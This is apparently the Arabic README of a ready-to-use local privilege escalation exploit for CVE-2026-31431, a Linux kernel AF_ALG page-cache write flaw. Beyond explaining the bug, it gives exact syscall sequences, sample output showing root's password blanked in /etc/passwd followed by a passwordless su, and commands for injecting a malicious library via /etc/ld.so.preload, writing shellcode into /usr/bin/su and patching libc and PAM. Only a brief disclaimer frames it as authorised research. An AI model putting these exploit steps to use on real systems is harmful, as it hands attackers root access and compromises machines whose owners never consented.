
استغلال لثغرة CVE-2026-31431، وهي ثغرة في كتابة ذاكرة التخزين المؤقت للصفحات في نواة لينكس AF_ALG AEAD تتيح كتابة عشوائية غير مميزة بمقدار 4 بايت إلى ملفات قابلة للقراءة لتصعيد الامتيازات محليًا.
ثغرة الكتابة غير المصرح بها في ذاكرة التخزين المؤقت للصفحات في نواة لينكس (خطأ سلسلة التجزئة AEAD في AF_ALG)
توجد ثغرة في واجهة algif_aead في نواة لينكس تسمح للمستخدمين غير المصرح لهم بكتابة بيانات عشوائية إلى ذاكرة التخزين المؤقت للصفحات (page cache) لأي ملف قابل للقراءة — متجاوزةً تمامًا فحوصات صلاحيات الملفات، والتحكم الإلزامي في الوصول (MAC)، وفحوصات السلامة.
لن يتغير محتوى الملف على القرص، لكن جميع العمليات التي تقرأ الملف بعد ذلك (بما في ذلك برامج SUID، والرابط الديناميكي، وexecve()، وغيرها) سترى النسخة المعدلة من قبل المهاجم، حتى يتم استعادة ذاكرة التخزين المؤقت للصفحات.
| العنصر | الوصف |
|---|---|
| النظام الفرعي | crypto/algif_aead.c |
| الخوارزمية | authencesn(hmac(sha256),cbc(aes)) |
| إعداد النواة | CONFIG_CRYPTO_USER_API_AEAD=y/m (مفعّل افتراضيًا في معظم التوزيعات الرئيسية) |
| الصلاحيات المطلوبة | لا شيء — يكفي صلاحية القراءة على الملف المستهدف |
| مستوى الخطورة | تصعيد الصلاحيات محليًا → الجذر (root) |
| التوزيعات المتأثرة | Ubuntu وDebian وFedora وRHEL وArch وopenSUSE وغيرها |
عند تنفيذ فك تشفير AEAD عبر AF_ALG:
sendmsg() + MSG_MORE، وتحتوي على 4 بايتات seqno_lo يتحكم بها المهاجم.splice().sg_chain.authencesn قيمة seqno_lo في إزاحة assoclen + cryptlen من قائمة التجزئة الهدف — وهذا الموضع يتجاوز المخزن المؤقت للاستقبال ويسقط مباشرة في صفحات ذاكرة التخزين المؤقت المرتبطة.EBADMSG، لكن ذاكرة التخزين المؤقت للصفحات تكون قد عُدّلت بالفعل. sendmsg (AAD) splice (صفحات الملف)
│ │
▼ ▼
┌──────────┐ sg_chain ┌──────────────────────┐
│ RX 缓冲区 │─────────────▶│ صفحات ذاكرة التخزين │
│ 8 بايتات │ │ المؤقت (محتوى الملف)│
└──────────┘ └──────────────────────┘
▲
│
authencesn يكتب seqno_lo هنا
الإزاحة = assoclen + cryptlen
════ هذا هو موضع الثغرة ════
seqno_lo الأربعة يتحكم بها المهاجم بالكامل في AAD (ماذا يكتب)splice يحدد الإزاحة في ذاكرة التخزين المؤقت للصفحات (أين يكتب)# تعديل ذاكرة التخزين المؤقت لـ /etc/passwd، إزالة كلمة مرور root، تنفيذ su root تلقائيًا
./exploit.py escalate
خطوات التنفيذ:
/etc/passwd إلى /tmp/.passwd.bakroot:x:0:0:root:... إلى root::0:0:root :... في ذاكرة التخزين المؤقتsu root تلقائيًا (بدون كلمة مرور)مثال على المخرجات:
[*] CVE-2026-31431 — Copy Fail
[*] Mode: remove root password via /etc/passwd
[*] Backup: /tmp/.passwd.bak
[*] Before : root:x:0:0:root:/root:/bin/bash
[*] After : root::0:0:root :/root:/bin/bash
[*] Offset : 0
[0x000000] 726f6f74 root
[0x000004] 3a3a303a ::0:
[0x000008] 303a726f 0:ro
[0x00000c] 6f742020 ot
[0x000010] 3a2f726f :/ro
[0x000014] 6f743a2f ot:/
[0x000018] 62696e2f bin/
[0x00001c] 62617368 bash
[+] Success: root::0:0:root :/root:/bin/bash
[*] Recovery: echo 3 > /proc/sys/vm/drop_caches
[*] Running: su root (no password needed)
# الصيغة الأساسية
./exploit.py write <مسار الملف> <الإزاحة> <البيانات>
# قراءة الحمولة من ملف ثنائي
./exploit.py write <مسار الملف> <الإزاحة> @payload.bin
# كتابة شيل كود في نقطة دخول برنامج SUID
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin
# حقن مسار مكتبة محملة مسبقًا
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'
# تعديل دالة libc (مثل جعل getuid() تُرجع 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'
# الطريقة الأولى: مسح جميع ذاكرات التخزين المؤقت للصفحات، واستعادة المحتوى الأصلي من القرص
echo 3 > /proc/sys/vm/drop_caches
# الطريقة الثانية: إعادة التشغيل
reboot
socket(AF_ALG, SOCK_SEQPACKET, 0)
→ bind("aead", "authencesn(hmac(sha256),cbc(aes))")
→ setsockopt(SOL_ALG, ALG_SET_KEY, authenc_كتلة_المفتاح)
→ setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
→ accept() → واصف الطلب
┌─────────────────────────────────────────────┐
│ rta_len (2B) │ rta_type (2B) │ enckeylen (4B) │
│ 0x0008 │ 0x0001 │ 0x00000010 │
├─────────────────────────────────────────────┤
│ مفتاح المصادقة (16 بايتًا أصفارًا) │
├─────────────────────────────────────────────┤
│ مفتاح التشفير (16 بايتًا أصفارًا) │
└─────────────────────────────────────────────┘
قيمة المفتاح غير مهمة — سيفشل HMAC حتمًا، لكن الكتابة غير المصرح بها تتم قبل الفحص.
الخطوة 1: sendmsg(req_fd,
AAD = [seqno_hi(4B) | seqno_lo(4B)], ← seqno_lo = القيمة المراد كتابتها
cmsg = [OP=DECRYPT, IV=أصفار, ASSOCLEN=8],
flags = MSG_MORE)
الخطوة 2: pipe_r, pipe_w = pipe()
الخطوة 3: splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)
الخطوة 4: splice(pipe_r → req_fd, count = file_offset + 4)
الخطوة 5: recv(req_fd, ASSOC_LEN + file_offset)
→ تشغيل فك تشفير authencesn
→ كتابة seqno_lo في إزاحة assoclen + cryptlen من dst SGL
→ تقع هذه الإزاحة في صفحة ذاكرة التخزين المؤقت عند file_offset
→ فشل HMAC، إرجاع EBADMSG
→ تم تعديل ذاكرة التخزين المؤقت للصفحات ✓
تخطيط dst SGL:
[0 .. 7] → المخزن المؤقت RX (منطقة استقبال AAD)
[8 .. 8 + file_offset + 3] → صفحة ذاكرة التخزين المؤقت (حقن عبر splice)
موضع كتابة seqno_lo:
dst[assoclen + cryptlen]
= dst[8 + file_offset]
= file_offset في ذاكرة التخزين المؤقت للصفحات
∴ يتحكم المهاجم في file_offset → يتحكم في موضع الكتابة
يتحكم المهاجم في seqno_lo → يتحكم في محتوى الكتابة
.
├── exploit.py # سكربت استغلال ذاتي الاحتواء (يتطلب Python 3 + لينكس فقط)
└── README.md # هذا الملف
هذه الأداة مخصصة فقط لأبحاث الأمان والاختبارات الاختراقية المصرح بها. استخدام هذه الأداة لمهاجمة أنظمة الآخرين دون إذن يُعد عملًا غير قانوني. يتحمل المستخدم كامل المسؤولية القانونية.
| القيد | الوصف |
|---|
| صلاحية القراءة | يجب أن يكون الملف المستهدف قابلًا للقراءة من قبل المستخدم الحالي (O_RDONLY) |
| المحاذاة | كل كتابة 4 بايتات؛ تُملأ البايتات الناقصة في النهاية بـ 0x90 |
| حجم الملف | يجب أن يكون حجم الملف ≥ الإزاحة + طول البيانات + 4 بايتات |
| ذاكرة التخزين المؤقت فقط | محتوى الملف على القرص لن يتغير |
| الاستمرارية | تبقى سارية حتى استعادة ذاكرة التخزين المؤقت أو مسحها يدويًا |
| إعداد النواة | يتطلب توفر AF_ALG + authencesn (متوفر افتراضيًا في التوزيعات الرئيسية) |
| مسار الهجوم | الملف المستهدف | التأثير |
|---|
| إزالة كلمة مرور root | /etc/passwd | su root بدون كلمة مرور |
| حقن مكتبة محملة مسبقًا | /etc/ld.so.preload | جميع البرامج تحمّل ملف .so خبيثًا |
| تعديل برنامج SUID | /usr/bin/su وغيرها | تنفيذ شيل كود للحصول على شيل root |
| تعديل libc | /usr/lib/libc.so.6 | اختطاف دوال مثل getuid() لإرجاع 0 |
| تعديل وحدة PAM | /usr/lib/security/pam_unix.so | تجاوز جميع عمليات المصادقة |
| تعديل sudo | /usr/bin/sudo | أي مستخدم يحصل مباشرة على root |